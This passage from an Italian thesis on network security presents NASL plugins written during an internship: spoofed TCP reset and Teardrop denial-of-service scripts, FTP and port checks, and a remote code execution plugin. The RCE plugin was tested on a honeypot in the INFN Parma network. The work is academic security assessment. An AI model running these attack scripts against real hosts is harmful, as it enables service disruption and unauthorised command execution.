Questo plugin ha l’obiettivo di effettuare un attacco TCP reset, mediante pacchettiTCP appositamente creati.Questo attacco blocca le connessioni sfruttando uno dei flag del pacchetto TCP, chesono bit utilizzati per il controllo del protocollo, in particolare utilizza il flag RST chese impostato a 1 indica che la connessione non è valida; viene normalmente utilizzatoin caso di grave errore o insieme al flag ACK per la chiusura di una connessione.Il plugin crea inizialmente un pacchetto IP nel quale viene falsificato l’indirizzo IPdel mittente, dato che nell’header di un pacchetto IP si trova uno specifico campo, ilSource Address, il cui valore indica l’indirizzo IP del mittente: modificando questocampo si può far credere che un pacchetto IP sia stato trasmesso da una macchinahost differente, in particolare si vuol far credere al destinatario che il pacchettosia stato inviato dal mittente con cui sta scambiando pacchetti. Successivamenteviene creato un pacchetto TCP all’interno del pacchetto IP precedentemente creato,contenente le effettive porte di comunicazione tra mittente e destinatario e il flagRST impostato ad 1, in modo che il destinatario quando riceverà il pacchetto dovràabbandonare la connessione immediatamente. Talvolta se il destinatario effettuaparticolari controlli, il solo flag potrebbe non bastare, perciò si aggiunge uno deinumeri di sequenza della connessione TCP non ancora confermati (acknowledged).

if(description) {script_name(english:" Forg ing Packet TCP − r e s e t a t t a c k

");script_summary(english:"Send TCP RST packe t to k i l l

o t h e r communicat ion ");script_category(ACT_KILL_HOST);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");exit (0);

}

sport = 1234;dport = 80;src = " 1 . 2 . 3 . 4 ";

ip = forge_ip_packet(ip_v : 4,ip_hl : 5,

ip_tos : 0,ip_p : IPPROTO_TCP ,ip_src : src ,ip_ttl : 64);

tcp = forge_tcp_packet(ip: ip,th_sport : sport ,th_dport : dport ,

th_flags : TH_RST);

start_denial ();send_packet(tcp) x 500;

Page 83: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 77

alive = end_denial ();

if (!alive){set_kb_item(name:"Host / dead ", value:TRUE);security_hole (0);

} �Il pacchetto IP viene creato tramite la funzione "forge_ip_packet", alla quale

vengono passati come argomenti, oltre ai parametri necessari per la creazione, l’indi-rizzo IP del mittente, sotto la voce di "ip_src".Il pacchetto TCP viene creato tramite la funzione "forge_TCP_packet" alla qualevengono passati come argomenti, oltre alle porte di sorgente e destinazione, il flag direlativo al reset della comunicazione.In figura 5.5 si può osservare che il pacchetto creato transitante in rete oltre ad avereeffettivamente l’indirizzo IP fittizio assegnato, presenta il flag di reset attivo.

Figura 5.5: Dati del pacchetto TCP creato in NASL e catturati tramite Wireshark

Page 84: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 78

5.3.2 FTP test

Questo plugin ha l’obiettivo di verificare la presenza del servizio FTP su undeterminato nodo della rete e, se risulta attivo, effettua controlli di sicurezza sull’au-tenticazione richiesta per l’utilizzo del servizio FTP. Il plugin inizialmente verificache il server FTP sia presente sulla macchina vittima, la ricerca di tale servizionon si limita alla sola porta di default (21, TCP), questo per superare il metodo didifesa del re-indirizzamento dei servizi dalla porta di default ad altre porte non note.Successivamente apre un socket su tale porta, per permettere la comunicazione conil server e per ottenere informazioni relative al banner del server, contenente il nomedel produttore e altre informazioni utili.Dopo aver estratto tali informazioni, si effettua un controllo riguardante la sicurezzadell’accesso con credenziali, per verificare l’integrità dei servizi di sicurezza offertidal server.

if(description) {script_name(english:"FTP t e s t ");script_summary(english:" c onne c t s on remote tcp po r t 21

");script_category(ACT_GATHER_INFO);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");script_dependencies(" f i n d_ s e r v i c e . nes ");script_require_ports(" S e r v i c e s / f t p ", 21);exit (0);

}

include(" aud i t . i n c ");include(" f tp_func . i n c ");

port = get_kb_item(" S e r v i c e s / f t p ");if(!port){

port = 21;}

soc = open_sock_tcp(port);if(soc) {

display(" Socke t on po r t : ",port ," opened \n");

data = recv(socket:soc , length :1024);display("FTP i s runn ing ");

if("FTP" >< data){display(" | | | banner : ", data , "\n");

}else{display("\n");

}

if(ftp_authenticate(socket:soc , user:" f t p ", pass:"r i c h k ")){

display(" Au t e n t i c a t i o n as anonymous u s e r \n");

Page 85: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 79

}

close(soc);}else{

display(" Socke t on po r t : ",port ," c l o s e d \n");} �

La funzione "get_kb_item" permette di ottenere informazioni riguardo la portasu cui è attivo il servizio FTP. La funzione "open_sock_tcp" apre un socket sullaporta in cui vi è il servizio FTP, permettendo la ricezione del banner del server FTP,rendendo possibile identificare il produttore. Tramite la funzione "ftp_authenticate"si è verificata l’integrità del controllo delle credenziali di tale servizio, che nonpermette l’accesso come utente anonimo nel caso le credenziali non siano corrette.In figura 5.6 si può osservare come il plugin mostri in output la presenza di taleservizio e su quale porta, e in caso positivo, mostra il banner di tale servizio.

Figura 5.6: Esecuzione del plugin FTP Test per effettuare controlli sul servizio FTP

In figura 5.7 si può osservare lo scambio di pacchetti generato dalle richieste erisposte tra client e server FTP, tramite il protocollo FTP.

Page 86: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 80

Figura 5.7: Scambio pacchetti durante i controlli sul servizio FTP catturati tramiteWireshark

Page 87: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 81

5.3.3 Teardrop

Questo plugin ha l’obiettivo di effettuare un attacco Teardrop, mediante pacchettiUDP appositamente creati.Il "teardrop attack" consiste nell’inviare un pacchetto IP scorretto, ossia frammentatoin un modo non valido. Tentando di riassemblarlo, quasi tutti gli stack TCP-IPottengono indici negativi ed indirizzi di memoria non corretti, comportando problemicome rallentamenti e, talvolta, blocco del servizio.Il plugin crea inizialmente un pacchetto IP ed uno UDP, dopodiché modifica ilpacchetto IP cambiando la lunghezza e l’offeset; successivamente il plugin crea unsecondo pacchetto UDP inerente a quello IP modificato ed infine invia entrambi ipacchetti UDP.

if(description) {script_name(english:"Teardrop ");script_summary(english:"Crashs the remote ho s t u s i n g

the ’ t e a rd r op ’ a t t a c k ");script_category(ACT_KILL_HOST);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");exit (0);

}

IPH = 20;UDPH = 8;PADDING = 28;OFFSET = 2;sport = 123;dport = 21;

UDPLEN = UDPH + PADDING;IPLEN = IPH + UDPLEN;IPLEN2 = IPH + OFFSET + 1;src =" 1 . 2 . 3 . 4 ";

ip = forge_ip_packet(ip_len : IPLEN ,ip_off : IP_MF ,ip_p : IPPROTO_UDP ,ip_src : src

);

udp1 = forge_udp_packet(ip: ip ,uh_sport : sport ,uh_dport : dport ,uh_ulen : UDPLEN);

ip = set_ip_elements(ip: ip,ip_len : IPLEN2 ,ip_off : OFFSET);

udp2 = forge_udp_packet(ip: ip ,

Page 88: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 82

uh_sport : sport ,uh_dport : dport ,uh_ulen : UDPLEN);

start_denial ();send_packet(udp1 ,udp2 , pcap_active:FALSE) x 500;sleep (10);alive = end_denial ();

if(!alive){set_kb_item(name:"Host / dead ", value:

TRUE);security_hole (0);

} �I pacchetti IP e UDP vengono creati rispettivamente tramite le funzioni "for-

ge_ip_packet" e "forge_UDP_packet" alle quali vengono passati come argomenti iparametri necessari per la creazione. Successivamente viene modificato il pacchettoIP tramite la funzione "set_ip_elements" alla quale vengono passati gli argomentirelativi alla lunghezza e all’offset del pacchetto IP, poi viene creato un secondopacchetto UDP, relativo però al pacchetto IP modificato.In figura 5.8 si può osservare che uno dei pacchetti creati e transitanti in rete presentavalori riguardanti la frammentazione e alla lunghezza totale del pacchetto IP nonvalidi, che causerà problemi al momento del riassemblaggio dei frammenti.

Page 89: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 83

Figura 5.8: Pacchetto che effettua l’attacco di Teardrop catturato tramite Wireshark

Page 90: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 84

5.3.4 Port Checker

Questo plugin ha l’obiettivo di verificare, data una certa porta, la presenza di unserver di un determinato nodo della rete.Il plugin interagisce con l’utilizzatore richiedendo su quale porta si vuole effettuare ilcontrollo, successivamente viene aperto un socket su quella specifica porta, permetten-do la richiesta del banner del server. Da tale banner si possono estrarre informazioniutili sul servizio presente su quella determinata porta, dal tipo di servizio offerto allaversione del server presente.

if(description) {script_name(english:"Port−Checker ");script_summary(english:" c onne c t s on remote to s p e c i f i c

t cp po r t and r e t u r n i t s banner ");script_category(ACT_GATHER_INFO);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");script_dependencies(" f i n d_ s e r v i c e . nes ");exit (0);

}

port = prompt("Which i s the po r t to be scanned ? ");

if(get_port_state(port)) {soc = open_sock_tcp(port);if(soc) {

data = recv(socket:soc , length :1024);display("Port ", port , " i s open | | | banner :

", data , "\n");close(soc);

}else{display("Port ", port , " i s c l o s e \n");

}} �

In figura 5.9 si può osservare come il plugin interagisca con l’utilizzatore, chiedendosu quale porta effettuare il controllo. Successivamente, in caso positivo(servizio pre-sente) viene mostrato in output il banner di tale servizio, altrimenti viene visualizzatoil messaggio che il servizio non è presente.

In figura 5.10 si può osservare il pacchetto della richiesta effettuata dal plugin.Dato che si vuole verificare la presenza di un determinato servizio, viene invitatoun pacchetto richiedendo l’apertura della connessione, perciò il flag TCP "SYN" èimpostato a 1.

In figura 5.11 si può osservare il pacchetto dalla risposta effettuata dal server.Dato che il servizio non è presente, cioè non vi è nessun socket in ascolto su quelladeterminata porta, il pacchetto di risposta ha impostati a 1 i flag di ACK e di RST,per segnalare la chiusura della connessione.

Page 91: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 85

Figura 5.9: Esecuzione del plugin Port Checker per effettuare la verifica della presenza diun servizio su un host

Page 92: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 86

Figura 5.10: Richiesta di apertura di una connessione TCP catturata tramite Wireshark

Page 93: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 87

Figura 5.11: Risposta di cancellazione della connessione TCP catturata tramite Wireshark

Page 94: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Capitolo 6

Caso d’uso: Rete INFN Parma

Il lavoro di tirocinio descritto in questa tesi è stato svolto presso l’Istituto diFisica Nucleare (INFN) di Parma.L’obiettivo di tale tirocinio è applicare la teoria vista nei capitoli precedenti allarete INFN, al fine di permettere una completa analisi e valutazione della sicurezzainformatica e di sviluppare un software che utilizzi una vulnerabilità rilevata pereffettuare un attacco informatico.

6.1 INFN - Istituto Nazionale di Fisica Nucleare

L’INFN è l’ente pubblico nazionale di ricerca, vigilato dal Ministero dell’Istru-zione, dell’Università e della Ricerca (MIUR), dedicato allo studio dei costituentifondamentali della materia e delle leggi che li governano. Svolge attività di ricerca,teorica e sperimentale, nei campi della fisica subnucleare, nucleare e astroparticellare.Le attività di ricerca dell’INFN si svolgono tutte in un ambito di competizioneinternazionale e in stretta collaborazione con il mondo universitario italiano, sullabase di consolidati e pluridecennali rapporti. La ricerca fondamentale in questi settoririchiede l’uso di tecnologie e strumenti di ricerca d’avanguardia che l’INFN sviluppasia nei propri laboratori sia in collaborazione con il mondo dell’industria.L’INFN partecipa a diverse attività di ricerca del CERN, il Centro europeo di ricerchenucleari di Ginevra, per la costruzione e l’utilizzo di macchine acceleratrici semprepiù potenti. Oggi l’ente conta circa 5000 scienziati il cui contributo è riconosciutointernazionalmente non solo nei vari laboratori europei, ma in numerosi centri diricerca mondiali.L’attività dell’INFN si basa su due tipi di strutture di ricerca complementari: leSezioni e i Laboratori Nazionali. I quattro Laboratori Nazionali, con sede a Catania,Frascati, Legnaro e Gran Sasso, ospitano grandi apparecchiature e infrastrutturemesse a disposizione della comunità scientifica nazionale e internazionale. Le 20Sezioni e gli 8 Gruppi collegati alle Sezioni o Laboratori hanno sede in altrettantidipartimenti di fisica universitari e garantiscono la stretta connessione tra l’istitutoe le Università. In figura 6.1 vi è la mappa delle strutture INFN precedentementeenunciate.

88

Page 95: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 89

Figura 6.1: Mappa delle strutture INFN

Il gruppo collegato di Parma alla sezione di Milano Bicocca, si occupa di fisicateorica ed i principali progetti attualmente seguiti sono:

• INFN GRID - GRID-PR: condotto dal professore R. Alfieri, tratta disistemi grid che sono un’infrastruttura di calcolo distribuito, utilizzati perl’elaborazione di grandi quantità di dati, mediante l’uso di una vasta quantitàdi risorse. In particolare, tali sistemi permettono la condivisione coordinata dirisorse all’interno di un’organizzazione virtuale.

• AURORA: condotto dal professore F. Di Renzo, è un progetto di ricerca alcrocevia delle scienze computazionali e dell’architettura del computer.

6.2 Struttura della rete INFN di Parma

La rete INFN di Parma è interconnessa con le altre reti dell’INFN tramite ilGARR, consorzio che funge da provider per enti di ricerca e università. L’INFN diParma condivide spazi fisici con il dipartimento di Fisica dell’università di Parma,perciò il servizio internet fornito arriva nello stesso mezzo fisico, ma logicamenteseparato, in particolare 1Gbps di banda per l’UNIPR e 100Mbps per l’INFN. Lasezione di Parma dell’INFN ha una propria rete locale, 192.135.11.0, ed è una classeC, quindi con un totale di 256 host disponibili (254 escludendo l’indirizzo indicante

Page 96: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 90

la rete e quello di broadcast), nel maggior dettaglio possibile e tutelando la privacy ela sicurezza della rete, la struttura della rete è la seguente:

• 31 indirizzi per i Server: indirizzi riservati ai server che offrono servizinella rete e per alcuni anche esternamente alla rete, sono: DNS, SMTP, WEB,SAMBA e DHCP.

• 11 indirizzi per il progetto Grid: indirizzi riservati alle macchine delprogetto GRID.

• 155 indirizzi per gli host riguardanti il calcolo: indirizzi riservati allemacchine inerenti a progetti seguiti dall’INFN.

• 44 indirizzi per l’assegnamento dinamico: indirizzi resi disponibili amacchine ospite.

• 13 indirizzi per gli apparati di rete: indirizzi riservati alle console per ilmanagement degli switch.

La maggior parte degli host presenti nella rete sono macchine virtuali, per semplificarela manutenzione e il ripristino in caso di problemi, sono però presenti diverse macchinehardware, talvolta perché offrono servizi non disponibili da un ambiente virtuale operché si sta svolgendo ricerca con un particolare hardware; elenchiamo di seguitoalcune macchine hardware presenti nella rete:

• IBM xSeries 342;

• Dual Xeon 3.2 SL42;

• Dual Athlon 1600;

• Dual AMD Athlon MP 1600+ (Asus);

• QuadCore Intel 2.0Ghz Clovertown E5335;

• GAVI CoreDuo;

• ...

6.3 Vulnerability Assessment della rete INFN di Parma

L’applicazione della teoria riguardo le vulnerabilità presenti in una rete, levalutazioni che si possono effettuare su di esse e le contromisure da prendere per evitareattacchi che sfruttino tali vulnerabilità, perciò lo svolgimento di un VulnerabilityAssessment sulla rete è stato effettuato sulla rete INFN di Parma, in primo luogoper verificare l’effettivo stato di sicurezza del sistema ed inoltre perché la dimensionedi tale rete permette il monitoraggio degli effetti della scansione, considerandodi effettuare una scansione di tipo invasivo; ciò non sarebbe stato possibile farlonell’ateneo dell’università di Parma, perché le maggiori dimensioni, oltre a richiederemaggiore potenza computazione dal vulnerability scanner, avrebbe reso difficile ilmonitoraggio degli eventi.

Page 97: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 91

6.3.1 Scansione delle vulnerabilità

La scansione delle vulnerabilità della rete INFN di Parma è stata svolta con Nes-sus, vulnerability scanner visto nella sezione 4.3.1. La scansione è stata configuratacome invasiva, per permettere l’ottenimento di dati più precisi ed accurati, dato cheviene verificato, in parte, quando certe vulnerabilità possono essere falsi positivi; edinoltre è possibile effettuare questo tipo di scansione, che potrebbe compromettereil funzionamento di certe macchine, grazie alle moderate dimensioni della rete sucui si effettua la scansione delle vulnerabilità, permettendo un continuo e accuratomonitoraggio degli eventi.

In figura 6.2, si possono osservare i risultati della scansione sulla rete INFN diParma, ordinati per numero di vulnerabilità presenti per ogni host, permettendodi farsi un idea generale della situazione delle macchine nella rete e per identificarequali macchine richiedono maggiori attenzioni, perché più esposte di altre a causadel maggior numero di vulnerabilità da cui sono afflitte.

Figura 6.2: Risultati della scansione della rete INFN con Nessus

In figura 6.3 si esamina nel dettaglio uno degli host della rete, l’indirizzo192.135.11.16, mostrando una panoramica di tutte le vulnerabilità che lo afflig-gono, ordinate in modo decrescente al livello di criticità della vulnerabilità; l’hostpresenta due vulnerabilità di criticità media, inerenti entrambe al server web, che pos-sono derivare da una configurazione errata del server o dalla versione non aggiornatadel server installato sulla macchina.

Page 98: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 92

Figura 6.3: Elenco Vulnerabilità di un host della rete INFN

In figura 6.4 si esamina e analizza nello specifico una delle vulnerabilità che affliggeil server web di un host della rete. Tale vulnerabilità ha un livello di criticità medio eindica che vi è un PHP che permette di ottenere informazioni tramite l’utilizzo di URLspeciali e che potrebbe essere utilizzato da un attaccante per ottenere informazionicontenute sulla macchina. Inoltre è presente una possibile soluzione al problemaidentificato da Nessus e che ha correlato alla vulnerabilità presente.

Page 99: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 93

Figura 6.4: Dettagli di una vulnerabilità di un host della rete INFN

Page 100: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 94

6.3.2 Valutazioni sugli host vulnerabili

Le valutazioni sulla rete esaminata avvengono subito dopo la scansione dellevulnerabilità, e consistono nel fare considerazioni sulla situazione generale dellasicurezza della rete esaminata, cercando di capire ad esempio dalla figura 6.2, chepone una panoramica completa della situazione, quale host risulti più vulnerabile equindi necessiti più attenzione per poi porre rimedi alle falle presenti.Una metodologia particolarmente accurata per effettuare valutazioni sugli host inmodo più preciso consiste nel utilizzare inizialmente software di vulnerability scan,ricercando le vulnerabilità nella rete, che però anche nel caso di scansioni "invasive",potrebbe generare falsi positivi o dati poco specifici, quindi si convalida la presenzadi determinate vulnerabilità tramite plugin appositamente creati, come si vedrà nellasezione 6.4, ottenendo dati più accurati ed un effettiva dimostrazione dell’esistenzadi tale vulnerabilità.

6.4 Attacco ad un host vulnerabile

Le valutazioni sulla rete esaminata sono l’ultima fase di un vulnerability assess-ment, ma talvolta per riuscire a fare valutazioni accurate e precise l’utilizzo di unvulnerability scan potrebbe non bastare, dato che sia la presenza di firewall che altrisistemi di difesa tendenzialmente generano falsi positivi, portando a commettereconsiderazioni errate sulle falle presenti in un host. Perciò uno dei metodi per laverifica consiste nell’utilizzo di plugin in NASL opportunamente sviluppati per quelladata vulnerabilità.Nel presente caso d’uso, viene riportata l’applicazione di tale metodologia, ma permotivi di privacy dei dati presenti su tali host e per motivi di business continuity deiprogetti INFN, si è messo a disposizione un honeypot, appositamente inserito nellarete INFN.Come visto nella sezione 3.2, vi sono vari tipi di honeypot; per effettuare i test sullarete INFN è stato utilizzata una macchina virtuale, con sistema operativo Debian7, provvisto di vari servizi per creare uno scenario più possibile riconducibile allarealtà. Si è inoltre simulata la presenza di contenuti sensibili e critici mediantefile appositamente inseriti nello storage della macchina virtuali. Inoltre un valoreaggiuntivo riscontrato dall’utilizzo del’honeypot sono state le informazioni che essoha reso possibile riportare sull’attacco effettuato e permettendo di monitorare consemplicità gli eventi inerenti all’attacco.

6.4.1 Plugin in NASL - RCE attack

Questo plugin ha l’obiettivo di effettuare un attacco Remote Code Execution, cioèpermettere all’attaccante di eseguire qualsiasi comando da remoto su un potenzialeobiettivo, che può essere un elaboratore o un processo eseguito da esso.Il plugin creato sfrutta una vulnerabilità presente nel server Web, che gli permetteràdi eseguire codice a piacimento sulla macchina in cui è installato il server Web, adesempio una serie di comandi per reperire il contenuto di un file in una data posizionedel disco.

Page 101: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 95

Questo attacco permette all’utilizzatore di prendere il controllo completo dellamacchina che sta eseguendo quel processo, rendendo possibile effettuare qualsiasitipo di operazione, come bloccare la macchina, utilizzarla per effettuare altri attacchia sua volta, rubare informazioni sulla macchina o su una rete dove essa ha accesso inmodo autenticato, introdurre backdoor ed altri tipi di attacchi visti nel capitolo 2.Il plugin inizialmente richiede informazioni per identificare l’host da attaccare, comeindirizzo IP e porta su cui è presente il server Web, verificando l’effettiva presenzadel servizio, tale tecnica è già stata presentata nel capitolo 5, quando si è mostratoil plugin Port Checker (5.3.4). Successivamente richiede il path del file vulnerabilenel server Web, ad esempio "/cartella/NomeFile.php" e quale comando si vuoleeseguire sulla macchina della vittima. Dopo aver formattato e composto l’URI su cuieffettuare la richiesta GET, metodo di richiesta del protocollo HTTP, viene inoltratatale richiesta, effettuando un tentativo di RCE attack. In caso di attacco andato abuon fine si otterrà la risposta visualizzandola a console.

if(description) {script_name(english:"RCE Attack ");script_summary(english:" e x p l o i t i n g a bug in apache to

e x e c u t i n g code r emote l y ");script_category(ACT_DESTRUCTIVE_ATTACK);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");exit (0);

}include(" http_func . i n c ");

ipAddress = get_host_ip ();display(" I n d i r i z z o IP da a t t a c c a r e : " + ipAddress + ’ \n ’ );port = get_http_port(default :80);display(" Porta d e l s e r v e r : " + port + ’ \n ’ );if(get_port_state(port)) {

soc = http_open_socket(port);if(soc) {

display(" S e r v e r a t t i v o \n");http_close_socket(soc);

}else{display(" S e r v e r down/ Impo s s i b l e a p r i r e s o c k e t \

n");exit (0);

}}

file = prompt("Path f i l e v u l n e r a b i l e ( e s : / c a r t e l l a /NomeFile .php ) : ");

param = prompt("Nome Parametro : ");cmd = prompt("Comando da e s e g u i r e : ");cmd = str_replace(string: cmd , find: " ", replace: "%20");finalString = strcat(" http : / / ", ipAddress , file , "?", param ,

"=", cmd);

if(get_port_state(port)) {

Page 102: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 96

soc = http_open_socket(port);if(soc) {

request = http_get(port: port , item:finalString);

send(socket:soc , data: request);resp = http_recv(socket: soc);display(resp);

http_close_socket(soc);}else{

display(" Imp o s s i b i l e a p r i r e s o c k e t \n");exit (0);

}} �

Si identifica l’host da attaccare mediante la funzione "get_host_ip" che estrael’indirizzo IP dagli argomenti passati all’interprete ad inizio esecuzione, tra cui vi èl’indirizzo della vittima (parametro utilizzato dall’interprete nasl è "-t").Verifica che il server Web sia attivo alla porta indicata, in caso positivo continual’esecuzione del plugin, altrimenti si interrompe mostrando il messaggio d’errorerelativo.Mediante i metodi per la manipolazione delle stringhe, "str_replace" e "strcat",formattata e compone l’URI su cui verrà effettuata la richiesta.Dopo aver inizializzato un socket specifico per effettuare richieste HTTP con ilmetodo "http_open_socket", invia la richiesta con il metodo "send" e visualizza larisposta HTTP ricevuta mediante il metodo "http_recv".

In figura 6.5 si può osservare il desktop della vittima, in particolare il file contenetefinte informazioni critiche e personali su cui verrà effettuato l’attacco.

Figura 6.5: Desktop della vittima dell’attacco Remote Code Execution

Page 103: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 6. CASO D’USO: RETE INFN PARMA 97

In figura 6.6 viene mostrata l’esecuzione del plugin per effettuare l’attacco RCEe il relativo risultato, in questo caso le informazioni critiche e personali contenute nelfile attaccato. L’interazione tra utilizzatore e plugin consiste nell’impostare i datirelativi alla macchina da attaccare e il percorso del file php vulnerabile. Il pluginvisualizza l’intera risposta HTTP, comprendente:

• Stato: precisa la versione del protocollo usata e lo stato di elaborazione dellarichiesta attraverso un codice e un testo chiarificante.

• Intestazione: si tratta di un insieme di righe facoltative che permettono didare delle informazioni supplementari sulla risposta e/o il server.

• Corpo: contiene il documento richiesto.

Nel corpo della risposta HTTP di figura 6.6 si può verificare l’effettiva presenzadel contenuto del file richiesto, visualizzante il testo "Password_prova_1234", checorrisponde al testo contenuto nel file "Password.txt" della vittima, come si puòosservare in figura 6.5.

Figura 6.6: Esecuzione del plugin per effettuare un attacco Remote Code Execution

Page 104: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Conclusioni

Nella presente tesi sono stati analizzati dettagliatamente i metodi utilizzati perl’attacco e la difesa delle reti informatiche, illustrando con particolare attenzione levulnerabilità, le metodologie per rilevarle, verificarne l’effettivo pericolo ed agire diconseguenza per rimuoverle, portando i singoli nodi della rete e, conseguentementela rete stessa, in uno stato sicuro.Si sono inoltre descritti, un caso d’uso alla rete INFN di Parma, effettuando unvulnerability assessment ed un esempio completo di attacco ad un host vulnerabile ela creazione di programmi, in linguaggio NASL, dimostrativi di diversi tipi di attacchiinformatici, svolti durante il periodo di tirocinio.Un possibile sviluppo futuro, avendo disponibilità di calcolo e di monitoraggioadeguate, sarebbe di estendere quanto visto ed applicato a reti di dimensionemaggiori.

98

Page 105: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Ringraziamenti

Al mio relatore Roberto Alfieri,per la disponibilità e l’aiuto durante la preparazione e la stesura della tesi.

Ai membri del gruppo security dell’INFN Roberto Cecchini e Luca Carbone,per gli utili contributi.

Alla mia famiglia,per il supporto durante questo percorso.

R. M.

99

Page 106: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Bibliografia

Alfieri, Roberto2015 «Slide del corso di Reti degli elaborati».

AV-Test 2016 , av-test.org.

CVE Details 2016 , cvedetails.com.

CVE - MITRE 2016 , cve.mitre.org.

Decreto Legislativo 30 giugno 2003, n. 196 2003 , camera.it.

ISO 27001 2013 , iso.org.

Kali Linux 2016 , kali.org.

Kaspersky Lab 2016 , kaspersky.com.

Nessus 2016 , tenable.com.

Nmap 2016 , nmap.org.

NVD - Nation Istitute of Standards and Technology 2016 , nvd.nist.gov.

OpenVAS 2016 , openvas.org.

OSVDB 2016 , osvdb.org.

RFC2828 - IETF 2000 , ietf.org.

SecTools 2016 , sectools.org.

Securelist 2016 , securelist.com.

Silberschatz, Abraham2014 Sistemi Operativi. Concetti ed esempi, Pearson.

Tanenbaum, Andrew S.2011 Reti di Calcolatori, Pearson.

Wikipedia 2016 , wikipedia.com.

100